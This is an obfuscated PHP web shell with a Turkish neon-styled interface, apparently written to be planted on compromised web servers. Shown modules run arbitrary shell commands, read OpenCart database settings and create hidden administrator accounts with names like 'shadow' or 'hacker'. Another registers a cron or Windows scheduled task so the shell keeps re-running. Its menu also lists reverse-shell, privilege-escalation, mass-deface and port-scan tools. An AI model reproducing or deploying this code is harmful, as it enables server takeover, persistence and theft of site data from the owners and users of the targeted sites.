"\x3c\x62\x72\76\12\40\x20\40\40\x20\x20\x20\40\x20\x20\40\40\40\x20\40\40\40\x20\x20\x20\x20\40\x20\x20\x20\x20\x20\x20\x20\40\x20\40\40\40\x20\x20\40\40\x20\40\x20\40\40\40\40\x20\x20\40\xf0\237\x8e\xaf\x20\122\157\154\x3a\40\x3c\x73\160\141\156\x20\x73\x74\171\x6c\145\x3d\x22\x63\x6f\154\x6f\162\72\x23\x62\x33\60\x30\x66\x66\x3b\x22\76\x41\144\x6d\x69\156\x69\x73\x74\162\141\164\x6f\162\74\57\x73\160\x61\156\76\74\142\x72\x3e\12\x20\40\40\x20\40\40\x20\40\x20\x20\40\40\x20\x20\x20\40\x20\40\40\x20\40\40\40\x20\40\x20\x20\40\x20\40\40\x20\40\40\40\40\40\x20\x20\x20\40\40\x20\40\x20\x20\40\x20\xf0\237\206\x94\40\x49\x44\x3a\40" . $id); } else { $opencart_result = array("\x74\171\x70\145" => "\x65\162\x72\x6f\162", "\155\145\163\x73\x61\x67\145" => "\xe2\235\x8c\40\123\x6f\x72\147\x75\x20\x68\141\164\141\163\304\xb1\72\40" . $conn->error); } } $conn->close(); } } else { $opencart_result = array("\x74\171\x70\145" => "\145\x72\162\x6f\x72", "\x6d\145\x73\163\141\147\145" => "\xe2\235\x8c\x20\x63\157\x6e\x66\151\147\x2e\160\150\x70\x20\x6f\x6b\165\x6e\141\155\141\x64\xc4\261\41\40\x56\145\x72\151\x74\x61\142\141\x6e\xc4\xb1\x20\142\151\154\147\x69\154\x65\162\151\40\142\165\x6c\x75\156\141\155\141\x64\xc4\261\x2e"); } } else { $opencart_result = array("\x74\x79\160\145" => "\x65\x72\162\x6f\162", "\x6d\145\163\x73\x61\147\x65" => "\xe2\235\214\x20\x4f\160\x65\156\143\x61\162\164\x20\142\x75\154\x75\x6e\141\x6d\x61\144\304\xb1\x21\x20\x63\157\156\x66\151\x67\56\x70\150\160\x20\x64\157\163\x79\141\163\304\xb1\40\x61\x72\x61\x6e\x64\304\261\x3a\40" . implode("\54\40", $config_paths)); } } ?> <!-- FORM --> <form method="POST"> <!-- Opencart Yolu --> <div class="opencart-card-neon"> <h5>📂 Opencart Kurulumu</h5> <div class="opencart-input-neon"> <input type="text" name="opencart_path" placeholder="Opencart yolu" value="<?php echo getcwd(); ?> "> </div> </div> <!-- Kullanıcı Bilgileri --> <div class="opencart-card-neon"> <h5>👤 Yeni Admin Bilgileri</h5> <div class="opencart-input-neon"> <input type="text" name="opencart_user" placeholder="Kullanıcı adı" value="shadow<?php echo rand(100, 999); ?> "> <input type="password" name="opencart_pass" placeholder="Şifre" value="<?php echo bin2hex(random_bytes(8)); ?> "> </div> </div> <!-- ===== MERKEZDE NEON MOR BUTONLAR - BEYAZ YAZI ===== --> <div class="opencart-btn-center"> <button type="submit" name="opencart_action" value="create" class="opencart-btn-master success pulse"> <span class="icon">👑</span> Admin Oluştur </button> <button type="button" class="opencart-btn-master pink" onclick=" document.querySelector('input[name=opencart_user]').value='hacker'+Math.floor(Math.random()*900+100); document.querySelector('input[name=opencart_pass]').value=Math.random().toString(36).substring(2,10)+'@'+Math.floor(Math.random()*900+100); "> <span class="icon">🎲</span> Rastgele Üret </button> <button type="reset" class="opencart-btn-master warning"> <span class="icon">🔄</span> Temizle </button> </div> <!-- Ekstra Butonlar --> <div class="opencart-btn-center" style="margin-top:4px;gap:8px;"> <button type="button" class="opencart-btn-master info" style="font-size:9px;padding:7px 16px;min-width:auto;" onclick=" window.open('<?php echo isset($_POST["\157\160\x65\x6e\143\x61\162\164\x5f\160\x61\164\x68"]) ? $_POST["\x6f\x70\145\x6e\x63\x61\162\164\137\x70\141\164\150"] : getcwd(); ?> /admin', '_blank'); "> <span class="icon">🚀</span> Admin Git </button> <button type="button" class="opencart-btn-master purple" style="font-size:9px;padding:7px 16px;min-width:auto;" onclick=" alert('Opencart giriş bilgileri:\nURL: <?php echo isset($_POST["\157\160\145\x6e\143\141\x72\x74\x5f\x70\141\x74\150"]) ? $_POST["\157\x70\145\156\x63\x61\x72\x74\137\160\x61\164\x68"] : getcwd(); ?> /admin\nKullanıcı: shadow\nŞifre: Shadow@123'); "> <span class="icon">📝</span> Bilgi </button> </div> </form> <!-- Sonuç Gösterimi --> <?php if ($opencart_result) { ?> <div class="opencart-result-neon <?php echo $opencart_result["\164\171\x70\145"]; ?> "> <?php echo $opencart_result["\155\x65\x73\x73\x61\x67\x65"]; ?> </div> <?php } ?> <!-- Opencart Bilgileri --> <?php $opencart_config = getcwd() . "\x2f\143\x6f\x6e\x66\151\x67\56\x70\150\x70"; if (file_exists($opencart_config)) { $config_content = file_get_contents($opencart_config); preg_match("\x2f\x64\145\146\x69\x6e\145\134\x28\x27\104\102\x5f\104\x41\x54\x41\x42\x41\123\x45\47\54\40\47\50\x5b\x5e\47\135\53\x29\x27\134\x29\57", $config_content, $oc_db); preg_match("\x2f\144\145\x66\x69\x6e\145\134\50\47\x44\102\137\120\122\x45\x46\111\x58\x27\x2c\x20\x27\x28\133\x5e\x27\135\53\x29\x27\x5c\51\x2f", $config_content, $oc_prefix); ?> <div class="opencart-info-neon"> <div class="opencart-info-neon-item"> 🗄️ Veritabanı <span><?php echo isset($oc_db[1]) ? $oc_db[1] : "\77"; ?> </span> </div> <div class="opencart-info-neon-item"> 🔤 Tablo Prefix <span><?php echo isset($oc_prefix[1]) ? $oc_prefix[1] : "\x6f\x63\137"; ?> </span> </div> <div class="opencart-info-neon-item"> 📂 Yol <span><?php echo getcwd(); ?> </span> </div> </div> <?php } ?> <!-- Hızlı Aksiyonlar --> <div class="opencart-quick-neon"> <span class="label">⚡ Hızlı Aksiyon</span> <button class="opencart-quick-btn-neon" onclick="window.open('<?php echo isset($_POST["\157\160\x65\156\x63\x61\x72\164\137\x70\141\164\x68"]) ? $_POST["\157\x70\x65\x6e\143\141\x72\x74\137\x70\141\164\x68"] : getcwd(); ?> /admin', '_blank')"> 🚀 Admin Git </button> <button class="opencart-quick-btn-neon" onclick="document.querySelector('input[name=opencart_pass]').value=Math.random().toString(36).substring(2,15)+'!@#'"> 🔐 Güçlü Şifre </button> <button class="opencart-quick-btn-neon" onclick="navigator.clipboard?.writeText('<?php echo getcwd(); ?> ') && alert('Yol kopyalandı!')"> 📋 Yolu Kopyala </button> <button class="opencart-quick-btn-neon" onclick="location.reload()"> 🔄 Yenile </button> </div> </div><!-- /opencart-particle-content --> </div><!-- /opencart-particle-container --> <?php } goto mlOPv; qnhBA: ?> <!-- ============================================================ --> <!-- ===== FIREWALL ===== --> <!-- ============================================================ --> <?php goto MbNoh; p_8GB: echo $config["\166\x65\162\x73\151\x6f\156"]; goto oRG1N; MggHg: if ($action == "\x63\x72\x6f\156") { ?> <div class="settings-group"> <h4 style="color:#b300ff;margin-bottom:8px;font-size:12px;"><i class="fas fa-clock"></i> Cron Job / Scheduled Task</h4> <form method="POST"> <input type="text" name="cron_time" placeholder="Zaman (* * * * *)" value="*/5 * * * *"> <input type="text" name="cron_command" placeholder="Komut" value="php <?php echo __FILE__; ?> "> <div class="flex"> <button type="submit" name="cron_action" value="add" class="btn btn-sm">➕ Ekle</button> <button type="submit" name="cron_action" value="list" class="btn btn-sm">📋 Listele</button> </div> </form> <?php if (isset($_POST["\x63\162\157\156\137\141\143\x74\x69\157\156"]) && $_POST["\x63\162\x6f\x6e\x5f\141\x63\164\x69\157\156"] == "\x61\x64\144") { ?> <?php if (isWindows()) { exec("\x73\x63\x68\164\141\163\x6b\163\x20\57\143\162\145\x61\164\x65\40\57\x74\156\40\x22\x53\x68\x61\x64\157\167\x54\x61\x73\x6b\42\x20\x2f\164\162\40\x22" . $_POST["\143\162\157\x6e\x5f\x63\157\155\x6d\141\156\x64"] . "\x22\40\57\163\143\x20\155\x69\156\165\x74\x65\x20\x2f\155\x6f\x20\x35\x20\x2f\146\x20\62\x3e\x6e\x75\x6c"); echo "\74\x64\151\166\40\143\x6c\x61\163\x73\75\x22\157\x75\x74\x70\x75\164\x20\x73\x75\x63\x63\145\x73\163\42\x3e\342\234\x85\x20\x57\x69\x6e\144\x6f\x77\163\40\123\143\x68\145\144\x75\x6c\145\144\40\124\x61\x73\x6b\x20\x65\153\x6c\x65\156\x64\x69\41\x3c\57\144\x69\166\x3e"; } else { file_put_contents("\x2f\164\x6d\160\57\143\x72\x6f\x6e\x5f\x73\x68\141\x64\157\x77\56\164\x78\164", $_POST["\x63\x72\x6f\156\137\x74\x69\155\145"] . "\40" . $_POST["\x63\162\x6f\156\137\x63\x6f\155\x6d\141\156\144"] . "\12", FILE_APPEND); echo "\x3c\144\151\x76\x20\x63\x6c\141\163\x73\x3d\42\157\165\164\x70\x75\x74\x20\163\x75\x63\x63\x65\163\163\42\76\xe2\234\x85\x20\105\153\154\x65\x6e\x64\x69\x21\x3c\x2f\x64\x69\x76\76"; } ?> <?php } ?> <?php if (isset($_POST["\143\162\x6f\156\x5f\141\143\x74\151\x6f\x6e"]) && $_POST["\x63\162\157\x6e\137\x61\143\164\151\x6f\156"] == "\x6c\151\x73\164") { ?> <div class="terminal-box mt-10"> <div class="term-body"> <pre class="output"><?php echo isWindows() ? htmlspecialchars(runCmd("\x73\x63\x68\x74\141\x73\x6b\163\x20\57\161\x75\145\162\x79\x20\x2f\x74\156\x20\42\123\x68\x61\x64\x6f\x77\x54\141\x73\x6b\x22\x20\x32\x3e\x6e\x75\154")) : (file_exists("\x2f\164\x6d\x70\57\x63\162\157\156\137\163\150\x61\144\157\167\56\x74\170\164") ? htmlspecialchars(file_get_contents("\x2f\x74\x6d\160\57\x63\162\x6f\x6e\x5f\163\x68\x61\144\157\167\56\x74\x78\x74")) : "\xe2\x9a\240\x20\110\145\156\303\274\172\x20\143\162\x6f\156\x20\x6a\x6f\142\40\x79\157\153\56"); ?> </pre> </div> </div> <?php } ?> </div> <?php } goto MxyJa; Hp4iq: ob_start(); goto nEBf6; azSa1: echo $config["\166\x65\x72\163\151\x6f\x6e"]; goto K7Moj; MbNoh: if ($action == "\x66\x69\x72\x65\167\141\x6c\154") { ?> <div style="display:grid;grid-template-columns:1fr 1fr;gap:10px;"> <div class="settings-group"> <h4 style="color:#b300ff;font-size:11px;"><i class="fas fa-shield-alt"></i> IP Engelle</h4> <form method="POST"> <input type="text" name="fw_ip" placeholder="Engellenecek IP" value="<?php echo $_SERVER["\x52\x45\115\x4f\x54\105\x5f\x41\104\x44\x52"]; ?> "> <button type="submit" name="fw_action" value="block" class="btn btn-danger btn-sm">🚫 Engelle</button> </form> <?php if (isset($_POST["\x66\167\x5f\x61\143\x74\151\157\x6e"]) && $_POST["\146\167\x5f\141\x63\164\x69\x6f\156"] == "\x62\154\157\143\x6b") { ?> <?php if (isWindows()) { exec("\x6e\145\164\x73\150\x20\x61\x64\166\x66\151\x72\145\x77\x61\154\x6c\40\x66\151\x72\145\167\141\154\154\40\x61\x64\x64\40\x72\165\x6c\x65\x20\x6e\x61\155\145\x3d\x22\x42\154\x6f\x63\153\137\111\120\x22\40\x64\151\162\x3d\x69\x6e\x20\x61\x63\x74\x69\x6f\156\x3d\x62\154\157\143\x6b\40\162\x65\x6d\157\164\x65\151\160\75" . $_POST["\146\167\x5f\x69\x70"]); echo "\x3c\144\151\166\40\143\154\141\163\x73\75\42\157\x75\x74\x70\165\164\40\163\x75\x63\x63\145\x73\x73\42\76\xe2\x9c\x85\x20\111\x50\40\x65\x6e\x67\x65\154\x6c\x65\x6e\x64\151\x3a\40" . htmlspecialchars($_POST["\146\167\137\151\x70"]) . "\x3c\57\x64\x69\166\76"; } else { file_put_contents("\57\x74\155\x70\57\x62\x6c\x6f\x63\x6b\145\x64\137\151\x70\x73\x2e\x74\170\164", $_POST["\146\x77\137\151\x70"] . "\xa", FILE_APPEND); echo "\74\144\x69\166\x20\143\154\x61\163\x73\x3d\42\157\x75\x74\160\165\x74\x20\x73\x75\143\x63\145\163\x73\x22\76\342\234\205\40\x49\120\40\x65\156\147\145\x6c\x6c\x65\x6e\144\151\x3a\x20" . htmlspecialchars($_POST["\x66\x77\137\x69\160"]) . "\74\x2f\x64\151\x76\x3e"; } ?> <?php } ?> </div> <div class="settings-group"> <h4 style="color:#b300ff;font-size:11px;"><i class="fas fa-list"></i> Engellenenler</h4> <form method="POST"> <button type="submit" name="fw_action" value="list" class="btn btn-sm">📋 Listele</button> </form> <?php if (isset($_POST["\x66\167\137\141\143\164\x69\157\x6e"]) && $_POST["\x66\167\137\x61\143\164\x69\x6f\156"] == "\x6c\151\163\x74") { ?> <div class="terminal-box mt-10"> <div class="term-body"> <pre class="output"><?php echo isWindows() ? htmlspecialchars(runCmd("\156\x65\164\163\x68\x20\x61\144\x76\x66\151\162\x65\167\141\154\154\x20\146\151\x72\x65\x77\141\154\154\40\163\150\157\x77\x20\162\x75\x6c\145\x20\156\x61\x6d\x65\x3d\42\102\x6c\x6f\x63\x6b\x5f\x49\120\x22\40\x32\x3e\x6e\165\x6c")) : (file_exists("\57\x74\x6d\160\x2f\142\154\x6f\x63\x6b\x65\144\x5f\151\160\163\56\164\170\164") ? htmlspecialchars(file_get_contents("\57\164\155\160\57\142\x6c\157\143\153\145\144\x5f\151\160\x73\56\164\170\164")) : "\xe2\232\xa0\x20\x48\x65\x6e\303\274\172\x20\145\x6e\147\145\154\x6c\x65\156\x65\x6e\40\111\120\x20\x79\x6f\153\56"); ?> </pre> </div> </div> <?php } ?> </div> </div> <?php } goto d2Xcp; VydM6: ?> <!-- ============================================================ --> <!-- ===== LOGOUT ===== --> <!-- ============================================================ --> <?php goto sE2ZD; yZuxu: echo getIcon($action); goto uuskf; d2Xcp: ?> <!-- ============================================================ --> <!-- ===== SETTINGS ===== --> <!-- ============================================================ --> <?php goto MocYj; kw3uc: ?> "><i class="fas fa-cloud-sun"></i><span>Cloudflare</span></a> <div class="group-label">Diğer</div> <a href="?action=symlink" class="<?php goto g3OxE; mlOPv: ?> <!-- ============================================================ --> <!-- ===== SLOWDB (YENİDEN YAZILMIŞ - ÇALIŞAN) ===== --> <!-- ============================================================ --> <?php goto vhj76; pyY8K: if (!function_exists("\151\x73\x57\x69\156\144\x6f\x77\163")) { function isWindows() { return strtoupper(substr(PHP_OS, 0, 3)) === "\x57\x49\116"; } } goto SCxPW; vl4dC: ?> "><i class="fas fa-lock"></i><span>Chmod</span></a> <a href="?action=mass" class="<?php goto j2b7D; BOOHG: function getIcon($action) { $map = array("\x64\141\163\x68\142\x6f\141\162\144" => "\x68\x6f\x6d\x65", "\x74\145\x72\x6d\151\x6e\x61\154" => "\164\x65\162\155\x69\156\141\154", "\146\x69\154\x65\163" => "\x66\x6f\154\x64\145\162", "\165\160\154\x6f\x61\x64" => "\143\154\x6f\165\x64\55\x75\x70\x6c\x6f\x61\x64\x2d\x61\154\164", "\144\141\x74\x61\142\141\163\145" => "\x64\141\x74\x61\142\141\x73\x65", "\x72\145\x76\x65\162\x73\x65" => "\163\x61\x74\x65\x6c\x6c\151\164\x65\x2d\144\x69\x73\150", "\163\x74\x65\141\154\x74\150" => "\x75\163\145\x72\55\x73\145\143\162\145\x74", "\145\144\151\x74\x6f\162" => "\x63\x6f\x64\145", "\x74\x6f\157\x6c\163" => "\x74\x6f\x6f\154\x73", "\x62\x61\143\x6b\165\160" => "\x61\162\x63\x68\151\x76\x65", "\x6e\145\x74\x77\157\162\153" => "\x6e\145\164\167\x6f\162\153\x2d\x77\x69\162\145\144", "\143\x72\157\156" => "\x63\x6c\x6f\143\153", "\145\155\141\151\x6c" => "\145\156\166\145\154\157\x70\145", "\x73\143\x61\156\x6e\145\x72" => "\x73\145\x61\162\143\x68", "\x65\170\160\x6c\157\x69\x74" => "\x73\153\x75\x6c\x6c", "\x66\151\162\x65\x77\141\154\154" => "\x73\150\151\145\x6c\x64\55\x61\154\x74", "\x73\x65\164\164\151\x6e\147\163" => "\x63\x6f\147", "\x6c\157\147\x6f\x75\x74" => "\163\x69\147\156\x2d\x6f\x75\164\x2d\x61\x6c\164", "\x70\x72\151\166\x65\x73\x63" => "\143\x72\x6f\x77\156", "\143\x68\x6d\157\x64" => "\154\x6f\x63\x6b", "\x77\160\x61\x64\155\151\156" => "\167\x6f\162\144\160\x72\x65\x73\x73", "\x6d\141\163\x73" => "\146\151\x72\145", "\152\x75\155\x70\x69\156\147" => "\141\x72\162\157\x77\x73\x2d\141\154\x74\x2d\150", "\x61\144\x6d\x69\156\x65\162" => "\144\141\164\141\142\x61\163\x65", "\163\x79\x6d\x6c\151\156\153" => "\154\x69\156\153", "\x63\160\x61\156\145\x6c" => "\163\145\162\x76\145\x72", "\x73\x6d\x74\x70" => "\145\x6e\166\145\x6c\x6f\x70\x65\55\x6f\x70\x65\156", "\143\154\x6f\165\144\146\154\141\x72\145" => "\x63\154\x6f\165\x64\55\x73\x75\156", "\x73\x68\x65\154\154\x73\x63\141\156" => "\163\x65\141\162\143\x68", "\160\x6f\x72\164\163\x63\x61\156" => "\145\x74\150\145\x72\156\x65\x74", "\x7a\157\x6e\x65\x68" => "\147\x6c\157\142\x65", "\144\x62\163\143\x61\156" => "\x64\x61\164\x61\142\141\x73\145", "\x72\x64\160" => "\x64\x65\163\153\164\157\160", "\x6a\157\157\x6d\x6c\141" => "\152\x6f\x6f\155\x6c\141", "\x6f\160\x65\x6e\143\141\x72\x74" => "\x73\150\157\x70\160\x69\156\147\x2d\x63\141\162\164", "\x63\x61\160\x74\x61\x69\x6e\x64\x62" => "\163\x61\151\154\151\156\147\x2d\163\x68\151\x70"); return $map[$action] ?? "\161\x75\145\163\164\151\x6f\x6e"; } goto LF6Al; y5nNO: echo $action == "\144\142\163\143\x61\x6e" ? "\141\x63\164\151\x76\x65" : ''; goto jg0ix; AquaX: function formatSize($bytes) { if ($bytes >= 1073741824) { return number_format($bytes / 1073741824, 2) . "\40\x47\102"; } if ($bytes >= 1048576) { return number_format($bytes / 1048576, 2) . "\x20\115\x42"; } if ($bytes >= 1024) { return number_format($bytes / 1024, 2) . "\40\x4b\102"; } return $bytes . "\40\x42"; } goto BOOHG; OVsQa: ?> <!-- ============================================================ --> <!-- ===== JOOMLA ADMIN MASTER - NEON MOR PARTİKÜL ===== --> <!-- ============================================================ --> <?php goto YLHVT; uehWo: if (!function_exists("\x67\x65\x74\103\x75\x72\162\145\156\x74\125\x73\145\x72")) { function getCurrentUser() { if (function_exists("\x67\145\x74\x5f\x63\x75\x72\x72\145\x6e\x74\x5f\165\163\x65\162")) { return get_current_user(); } return "\x75\163\x65\162"; } } goto pyY8K; BivAp: function runCmd($cmd) { $output = ''; if (isWindows()) { $cmd = str_replace(array("\167\150\x6f\x61\155\151", "\143\x61\164\40", "\x67\162\x65\x70\x20", "\x6c\163\x20", "\160\167\144", "\62\x3e\57\x64\x65\166\57\x6e\x75\154\x6c", "\x32\x3e\46\x31"), array("\x77\x68\x6f\141\155\x69", "\164\171\160\145\x20", "\x66\151\156\x64\x73\x74\162\40", "\x64\151\162\x20", "\143\144", "\62\x3e\156\165\x6c", "\62\76\46\x31"), $cmd); $cmd = str_replace(array("\x2f\x64\145\166\x2f\156\x75\x6c\x6c", "\57\142\x69\x6e\57\163\150", "\x2f\142\151\x6e\x2f\142\x61\x73\150"), array("\156\x75\154", "\143\x6d\x64\56\145\x78\145", "\x63\x6d\x64\x2e\x65\x78\145"), $cmd); } $functions = array("\163\x79\x73\164\x65\x6d", "\x65\x78\145\143", "\163\150\x65\x6c\x6c\137\145\x78\145\x63", "\x70\141\x73\x73\x74\150\162\x75"); foreach ($functions as $func) { if (function_exists($func)) { if ($func == "\163\171\163\164\145\155" || $func == "\x70\x61\x73\x73\164\x68\162\x75") { ob_start(); $func($cmd); $output = ob_get_clean(); } elseif ($func == "\x65\x78\x65\x63") { $out = array(); $func($cmd, $out); $output = implode("\12", $out); } elseif ($func == "\x73\x68\x65\x6c\154\x5f\x65\170\145\143") { $output = $func($cmd); } break; } } return $output ?: "\xe2\x9a\240\40\303\207\304\xb1\153\x74\304\261\40\x62\157\xc5\x9f\40\x76\x65\x79\141\40\171\145\164\x6b\x69\x20\171\x6f\153"; } goto AquaX; IXw_X: ?> "><i class="fab fa-wordpress"></i><span>WP Admin</span></a> <a href="?action=joomla" class="<?php goto nJCBf; PaZb9: ?>